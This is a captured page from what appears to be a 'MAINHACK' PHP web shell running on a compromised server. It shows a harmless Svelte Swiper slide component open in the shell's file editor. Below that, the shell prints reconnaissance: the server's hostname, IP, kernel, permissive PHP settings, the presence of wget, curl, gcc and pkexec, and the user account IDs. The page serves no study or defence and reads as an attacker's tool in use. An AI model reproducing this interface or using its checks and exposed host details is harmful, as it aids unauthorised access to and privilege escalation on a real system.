[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: swiper-slide.svelte
<script> import { onMount, onDestroy, beforeUpdate, afterUpdate, setContext, getContext } from 'svelte'; import { uniqueClasses } from '../components-shared/utils.js'; export let zoom = undefined; export let virtualIndex = undefined; let className = undefined; export { className as class }; let slideEl = null; let slideClasses = 'swiper-slide'; let swiper = getContext('swiper'); let eventAttached = false; const updateClasses = (_, el, classNames) => { if (el === slideEl) { slideClasses = classNames; } }; const attachEvent = () => { if (!swiper || eventAttached) return; swiper.on('_slideClass', updateClasses); eventAttached = true; }; const detachEvent = () => { if (!swiper) return; swiper.off('_slideClass', updateClasses); eventAttached = false; }; $: slideData = { isActive: slideClasses.indexOf('swiper-slide-active') >= 0 || slideClasses.indexOf('swiper-slide-duplicate-active') >= 0, isVisible: slideClasses.indexOf('swiper-slide-visible') >= 0, isDuplicate: slideClasses.indexOf('swiper-slide-duplicate') >= 0, isPrev: slideClasses.indexOf('swiper-slide-prev') >= 0 || slideClasses.indexOf('swiper-slide-duplicate-prev') >= 0, isNext: slideClasses.indexOf('swiper-slide-next') >= 0 || slideClasses.indexOf('swiper-slide-duplicate-next') >= 0, }; onMount(() => { if (typeof virtualIndex === 'undefined') return; slideEl.onSwiper = (_swiper) => { swiper = _swiper; attachEvent(); }; attachEvent(); }); afterUpdate(() => { if (!slideEl || !swiper) return; if (swiper.destroyed) { if (slideClasses !== 'swiper-slide') { slideClasses = 'swiper-slide'; } return; } attachEvent(); }); beforeUpdate(() => { attachEvent(); }); onDestroy(() => { if (!swiper) return; detachEvent(); }); </script> <div bind:this={slideEl} class={uniqueClasses(`${slideClasses}${className ? ` ${className}` : ''}`)} data-swiper-slide-index={virtualIndex} {...$$restProps} > {#if zoom} <div class="swiper-zoom-container" data-swiper-zoom={typeof zoom === 'number' ? zoom : undefined} > <slot data={slideData} /> </div> {:else} <slot data={slideData} /> {/if} </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002